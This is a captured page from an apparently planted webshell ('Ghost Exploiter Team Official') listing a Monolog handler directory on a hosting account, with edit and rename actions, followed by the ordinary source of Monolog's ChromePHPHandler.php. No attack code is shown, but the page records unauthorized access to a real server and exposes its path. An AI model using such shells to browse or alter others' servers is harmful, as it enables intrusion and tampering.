webshell

Ghost Exploiter Team Official

Directory >> /home/softsuitetech/public_html/DEMO/Real_Estate/vendor/monolog/monolog/src/Monolog/Handler/

File / Folder	Size	Action
.	-
Curl	--	ren
FingersCrossed	--	ren
Slack	--	ren
SyslogUdp	--	ren
.htaccess	0.27KB	edt ren
AbstractHandler.php	2.233KB	edt ren
AbstractProcessingHandl...	1.399KB	edt ren
AbstractSyslogHandler.php	3.5KB	edt ren
AmqpHandler.php	3.943KB	edt ren
BrowserConsoleHandler.php	7.443KB	edt ren
BufferHandler.php	4.564KB	edt ren
ChromePHPHandler.php	5.129KB	edt ren
CouchDBHandler.php	1.984KB	edt ren
CubeHandler.php	4.735KB	edt ren
DeduplicationHandler.php	5.562KB	edt ren
DoctrineCouchDBHandler.php	1.072KB	edt ren
DynamoDbHandler.php	2.402KB	edt ren
ElasticaHandler.php	3.343KB	edt ren
ElasticsearchHandler.php	5.342KB	edt ren
ErrorLogHandler.php	2.453KB	edt ren
FallbackGroupHandler.php	1.353KB	edt ren
FilterHandler.php	5.798KB	edt ren
FingersCrossedHandler.php	7.535KB	edt ren
FirePHPHandler.php	4.782KB	edt ren
FleepHookHandler.php	3.241KB	edt ren
FlowdockHandler.php	3.178KB	edt ren
FormattableHandlerInter...	0.825KB	edt ren
FormattableHandlerTrait...	1.251KB	edt ren
GelfHandler.php	1.584KB	edt ren
GroupHandler.php	3.005KB	edt ren
Handler.php	1.005KB	edt ren
HandlerInterface.php	2.713KB	edt ren
HandlerWrapper.php	3.279KB	edt ren
IFTTTHandler.php	2.144KB	edt ren
InsightOpsHandler.php	1.851KB	edt ren
LogEntriesHandler.php	1.674KB	edt ren
LogglyHandler.php	4.141KB	edt ren
LogmaticHandler.php	2.443KB	edt ren
MailHandler.php	2.018KB	edt ren
MandrillHandler.php	2.637KB	edt ren
MissingExtensionExcepti...	0.462KB	edt ren
MongoDBHandler.php	2.609KB	edt ren
NativeMailerHandler.php	5.044KB	edt ren
NewRelicHandler.php	6.217KB	edt ren
NoopHandler.php	0.859KB	edt ren
NullHandler.php	1.115KB	edt ren
OverflowHandler.php	4.819KB	edt ren
PHPConsoleHandler.php	9.971KB	edt ren
ProcessHandler.php	5.296KB	edt ren
ProcessableHandlerInter...	1.053KB	edt ren
ProcessableHandlerTrait...	1.459KB	edt ren
PsrHandler.php	2.589KB	edt ren
PushoverHandler.php	6.86KB	edt ren
RedisHandler.php	2.935KB	edt ren
RedisPubSubHandler.php	1.906KB	edt ren
RollbarHandler.php	3.467KB	edt ren
RotatingFileHandler.php	6.04KB	edt ren
SamplingHandler.php	3.895KB	edt ren
SendGridHandler.php	2.832KB	edt ren
SlackHandler.php	6.508KB	edt ren
SlackWebhookHandler.php	3.935KB	edt ren
SocketHandler.php	9.709KB	edt ren
SqsHandler.php	1.741KB	edt ren
StreamHandler.php	5.308KB	edt ren
SwiftMailerHandler.php	3.283KB	edt ren
SyslogHandler.php	1.956KB	edt ren
SyslogUdpHandler.php	3.762KB	edt ren
TelegramBotHandler.php	5.181KB	edt ren
TestHandler.php	5.631KB	edt ren
WebRequestRecognizerTra...	0.512KB	edt ren
WhatFailureGroupHandler...	1.497KB	edt ren
ZendMonitorHandler.php	3.11KB	edt ren

<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use Monolog\Formatter\ChromePHPFormatter;
use Monolog\Formatter\FormatterInterface;
use Monolog\Logger;
use Monolog\Utils;

/**
 * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/)
 *
 * This also works out of the box with Firefox 43+
 *
 * @author Christophe Coevoet <stof@notk.org>
 */
class ChromePHPHandler extends AbstractProcessingHandler
{
    use WebRequestRecognizerTrait;

/**
     * Version of the extension
     */
    protected const VERSION = '4.0';

/**
     * Header name
     */
    protected const HEADER_NAME = 'X-ChromeLogger-Data';

/**
     * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+)
     */
    protected const USER_AGENT_REGEX = '{\b(?:Chrome/\d+(?:\.\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\d|\d{3,})(?:\.\d)*)\b}';

protected static $initialized = false;

/**
     * Tracks whether we sent too much data
     *
     * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending
     *
     * @var bool
     */
    protected static $overflowed = false;

protected static $json = [
        'version' => self::VERSION,
        'columns' => ['label', 'log', 'backtrace', 'type'],
        'rows' => [],
    ];

protected static $sendHeaders = true;

/**
     * @param string|int $level  The minimum logging level at which this handler will be triggered
     * @param bool       $bubble Whether the messages that are handled can bubble up the stack or not
     */
    public function __construct($level = Logger::DEBUG, bool $bubble = true)
    {
        parent::__construct($level, $bubble);
        if (!function_exists('json_encode')) {
            throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler');
        }
    }

/**
     * {@inheritdoc}
     */
    public function handleBatch(array $records): void
    {
        if (!$this->isWebRequest()) {
            return;
        }

$messages = [];

foreach ($records as $record) {
            if ($record['level'] < $this->level) {
                continue;
            }
            $messages[] = $this->processRecord($record);
        }

if (!empty($messages)) {
            $messages = $this->getFormatter()->formatBatch($messages);
            self::$json['rows'] = array_merge(self::$json['rows'], $messages);
            $this->send();
        }
    }

/**
     * {@inheritDoc}
     */
    protected function getDefaultFormatter(): FormatterInterface
    {
        return new ChromePHPFormatter();
    }

/**
     * Creates & sends header for a record
     *
     * @see sendHeader()
     * @see send()
     */
    protected function write(array $record): void
    {
        if (!$this->isWebRequest()) {
            return;
        }

self::$json['rows'][] = $record['formatted'];

$this->send();
    }

/**
     * Sends the log header
     *
     * @see sendHeader()
     */
    protected function send(): void
    {
        if (self::$overflowed || !self::$sendHeaders) {
            return;
        }

if (!self::$initialized) {
            self::$initialized = true;

self::$sendHeaders = $this->headersAccepted();
            if (!self::$sendHeaders) {
                return;
            }

self::$json['request_uri'] = $_SERVER['REQUEST_URI'] ?? '';
        }

$json = Utils::jsonEncode(self::$json, Utils::DEFAULT_JSON_FLAGS & ~JSON_UNESCAPED_UNICODE, true);
        $data = base64_encode(utf8_encode($json));
        if (strlen($data) > 3 * 1024) {
            self::$overflowed = true;

$record = [
                'message' => 'Incomplete logs, chrome header size limit reached',
                'context' => [],
                'level' => Logger::WARNING,
                'level_name' => Logger::getLevelName(Logger::WARNING),
                'channel' => 'monolog',
                'datetime' => new \DateTimeImmutable(),
                'extra' => [],
            ];
            self::$json['rows'][count(self::$json['rows']) - 1] = $this->getFormatter()->format($record);
            $json = Utils::jsonEncode(self::$json, null, true);
            $data = base64_encode(utf8_encode($json));
        }

if (trim($data) !== '') {
            $this->sendHeader(static::HEADER_NAME, $data);
        }
    }

/**
     * Send header string to the client
     */
    protected function sendHeader(string $header, string $content): void
    {
        if (!headers_sent() && self::$sendHeaders) {
            header(sprintf('%s: %s', $header, $content));
        }
    }

/**
     * Verifies if the headers are accepted by the current user agent
     */
    protected function headersAccepted(): bool
    {
        if (empty($_SERVER['HTTP_USER_AGENT'])) {
            return false;
        }

return preg_match(static::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']) === 1;
    }
}

<=Back